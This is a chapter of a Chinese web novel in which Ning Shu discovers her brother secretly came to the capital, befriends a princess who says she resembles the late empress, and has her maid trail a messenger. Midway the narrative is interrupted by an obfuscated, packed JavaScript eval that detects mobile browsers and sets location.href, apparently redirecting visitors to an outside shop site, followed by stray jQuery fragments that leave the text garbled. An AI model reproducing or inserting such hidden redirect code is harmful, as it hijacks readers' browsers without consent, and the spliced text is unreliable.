71. 你很像她
作品:《兄长他为何那般》 对于段璟的话,宁姝起先是不相信的。
从小到大,宁珩几乎没有欺瞒过她。唯一一次,还是他骗她说阿娘的病会好起来,让她先去睡,免得把自己的身体熬坏了,反累得阿娘醒来后担心。
然而等她再醒过来的时候,阿娘已然离去了。
虽然她知道,是阿娘不希望让自己见到她最后失去生息的样子,才会让哥哥带她走。但痛失母亲的她仍忍不住将心中无处宣泄的悲痛和愤怒撒在宁珩身上。
那时他也曾坚定地答应过她,往后无论如何,都不会再骗她。
但现在呢?
短短的一瞬间,这段时间以来许多想不通的事情都在宁姝脑海中浮现。
从灵溪回来后看她看得比眼珠子还紧的人,却那么轻易地放她去了京城。
明明早已中举,书院的夫子对他管辖亦颇为松泛,本就做好了为准备春闱提前入京的打算,书院里到底还有什么事能绊住他的脚?
甚至,还有她久久得不到回音的第一封信,和径直将回信送到镇国公府上的所谓“镖局中人”,桩桩件件都是疑点,只是自己太过信任他,全然不曾怀疑他。
那么,他又是为什么要把自己也到京城的事瞒着她?
他究竟想做什么?
想到最后,只有这一个问题始终萦绕心间,宁姝面色沉凝,她着实想不明白,如果不是段璟还在,她早就去找宁珩问个明白了。
至于有谁知道他的落脚处……
宁姝冷笑了一声,旁人不知道也就罢了,宁江二人昨日还把宁珩的回信送了过来,他们要是不知道,那才真是见鬼了。
一想到那封信上,宁珩还当真说自己去尝了尝薛记冰酪新出的青梅酪乳,酸甜嫩滑,味道尚可。
但她记得,宁珩一向不喜这些子果浆,她还以为宁珩是为了自己才捏着鼻子吃下去的,末了还要违心地夸上几句。
现在想想,京城与淮安相距何止千里,便是为他安双翅膀,他也焉能飞回淮安去尝尝这冰酪!
宁姝的胸膛剧烈起伏,怒火中夹杂着些许委屈和茫然。关家外室之事,本就让她心存不安,现在又骤然得知宁珩竟还瞒着她来了京城,更让她觉得自己对他所谓的“了解”是多么可笑。
哥哥,你到底想做什么……
她望向斜飞的檐脊下一角欲颓的夕日,深深闭了闭目。
已经看惯的风景,此时认真地细细打量过去,竟又是如此陌生。
……
宁姝气得一晚上没睡好,重华宫内,段璟亦是翻来覆去地无法安寝。
虽然今日昭昭的怒火不是冲着他来的,但他内心竟有种兔死狐悲之感。
至于宁珩为何要欺瞒昭昭,段璟也是着实想不明白。但他现在已经顾不得此事了,从昭昭的表现来看,她显然是厌恶极了被人瞒在鼓里,对与她感情更为深厚的养兄尚且如此,那他……
段璟心头猛地一颤,原本打算近些日子就把事情对昭昭和盘托出的念头被他一下摁了回去。
还是过段时日,等昭昭心情好些了,再同她提吧……
他可耻地选择了逃避。
***
“逢春姐姐,我想一个人出去散散心,让噙霜姐姐陪着我就行,你们都不用跟上来。”
逢春愣了愣,屈身道:“是,姑娘。”
宁姝手里紧紧地捏着薄薄的笺纸,面上柔柔的浅笑在跨出大门的一刻起就消失无踪。
她冷着一张脸,在噙霜的陪伴下绕进国公府附近的一个窄巷,在一个不起眼的拐角处停下脚步,轻叩了叩身旁青苔丛生的砖石,就有一人从天而降。
国公府守卫森严,她也不好带两个大活人进去,是以就让宁江、宁海二人在近些的地方租赁了一处小院,同时约定好了接头的地点和方式,由他二人轮流守着。
今日来的是宁海,宁姝早已收起冷脸,如常地把信递给他,温温柔柔地笑道:“还是同往常一样寄给哥哥,多谢。”
宁海为人憨直,知道自家公子骗了姑娘的事,心虚之下不敢看她,低着头接过东西,头摇得跟拨浪鼓似的:“姑娘客气了,应该的、应该的。”
等人消失在了眼前,宁姝才若有所思地抬眸望向他离去的方向,给了噙霜一个眼神,后者立马会意,但没有急着追上去,反而问道:“那姑娘您怎么办?”
“你不是说阿兄也在我身边安排了人吗?你放心去便是,我自己找个茶摊坐着——就刚刚路上经过的那个好了,等你探明了,再回来找我。”
噙霜犹豫着点点头,她先前就感觉到了姑娘院里有数道不同寻常的气息,均是习武之人才有的平和绵长,而在国公府其他院落里,却从没有这样的感觉。细细观察了数日后,她就将此事告诉了宁姝,两人都猜测是段璟派来保护她的人。
她们出府后,噙霜也从变化的气息中判断出其中的好几个人都跟了上来。是以哪怕现在明面上只剩宁姝一人,她也不怕有人能伤到她。
宁姝眯了眯眼,在小巷黯黯的光线下,往日清透的瞳眸此刻竟显得有些深邃。
她攥紧了垂在身侧的手,转身离开。
在国公府不远处的茶摊上,她却遇到了一个意料之外的人。
“殿下?”宁姝惊讶道。
段宜玥偏头看来,见是她,猛地被咽到一半的茶水呛住,咳声惊天动地,连梳得齐整精致的发髻都在抖动中摇摇欲坠。
宁姝狐疑地打量了眼茶摊,不过就是无功无过的普通小摊,难道这里的茶水这么好喝,值得段宜玥专程从公主府过来?
“你、你也坐吧。”段宜玥止住了她行礼的动作,绷着一张脸说道。
自从那次段宜玥在她面前袒露心声后,好几天都躲着她走。
她怕自己只是一厢情愿,也怕宁姝不喜欢她,毕竟初见时她就给人留下了那么不好的印象,宁姝怎么可能答应跟她做朋友?
她暗中沮丧了好久,一个不留神又晃悠到了国公府旁她经常来光顾的小茶摊。
说实话,这儿的茶水虽有些野趣,对喝惯了名贵贡茶的段宜玥来说还算新鲜,但喝久了也就那么回事,如果不是为了来蹲赵元祯,她才不稀罕来。
但现在,赵元祯在她眼里的吸引力都下降了许多,满心满眼只在想要怎么才能和她喜欢的人成为朋友呢?
“紫汐,上茶。”段宜玥尽力压抑住紧张的心情,吩咐道。
她身旁候着的婢女中很快便有一人领命而去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122472|195482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宁姝以为顶多只会上一壶茶水,没想到接连端上来了四五壶不同的茶水,和七八碟花样繁多的点心,直把本就不大的旧木桌占得满满当当。
“虽然看着卖相不好,但味、味道都还不错,我不开心的时候,就喜欢把嘴里塞满甜甜的东西,这样感觉到的就都是甜味,心里的苦也就不记得了。”
段宜玥拈起一块模样朴素的绿豆糕递给宁姝,咬咬唇道:“虽然她们都说我笨,没眼色,但我其实一点儿也不笨,我看得出来,你心里不高兴,不妨就试试我的法子?”
宁姝没想到她看似迟钝,内心却如此敏锐,微微怔愣时绿豆糕已被人塞到了嘴边。
她慢慢接过,展颜道:“好,那就多谢公主了。”
被一双琉璃珠似的眸饱含温柔地凝视着,段宜玥的脸禁不住升起红云,她又开始结巴了。
“你、你喜欢,就好。”
不知因她生涩的关心,还是因为这块真的很甜的绿豆糕,宁姝的心情也好了许多。
她看着段宜玥在她面前和在顾锦悦面前全然不同的模样,犹豫片刻,还是问道:“公主为何……待我这般好?”
段宜玥飞快瞟了一眼她的脸,有些不自在地低下了头。
她不知道自己的话会不会让宁姝觉得奇怪,想编个由头骗她,又绞尽脑汁都想不出来,最后只能讷讷道:“你……很像母后。”
母后?
宁姝被她的话惊在了原地。
“也、也没有那么像啦……唔,严格来说,应该是很像栖凤殿里那副画像上的母后,我一看到你,就好像看到了母后……”
宁姝有些哭笑不得,万没想到竟是这样的原因,但想想自己的生母就是太后的姊妹,她和太后相像也属正常。
“母后人可好啦,我偷吃松子糖的事,她都替我瞒着没有告诉姨母。宫里有人说我命格不好,才克死了爹娘,她就算再忙,也会把那人揪出来,狠狠地惩罚她……”
段宜玥的眼中浮现出点点孺慕与怀念之色,她认真地看着宁姝的眼睛,道:“但她总是不开心,哪怕她离开的那天,都似还有放心不下的事。”
“你的眼睛……真的很像她,所以,我很希望你能开心。”
宁姝不知为何,心中某处竟有种难言的酸涩感,她望着眼前人纯稚的眼神,笑着许诺:“我会的。”
“殿下之前说的话,可还作数?”
段宜玥茫然片刻,不知道她指的是什么,反应过来后才高兴得差点跳起来:“你答应了?”
宁姝含笑点点头:“既得殿下垂青,岂有不从之理?”
段宜玥简直忍不住想原地转圈,傻傻地笑了好久才说:“你别叫我殿下了,我小字阿葵,你以后就叫我阿葵吧!”
“好,阿葵。”
段宜玥蹦蹦跳跳地回去了,宁姝也终于等到了人。
噙霜附耳道:“姑娘猜得不错,宁海拿到信后没去驿站,而是往城南去了,最后停在永安坊的一处宅院前,具体位置我已经记下了。”
她顿了顿,继续道:“宁海上前敲门后,我冒险凑近了一步,看见出来的人……是宁风。”
宁姝淡淡地冷笑了一声。
“阿兄果然没骗我。”

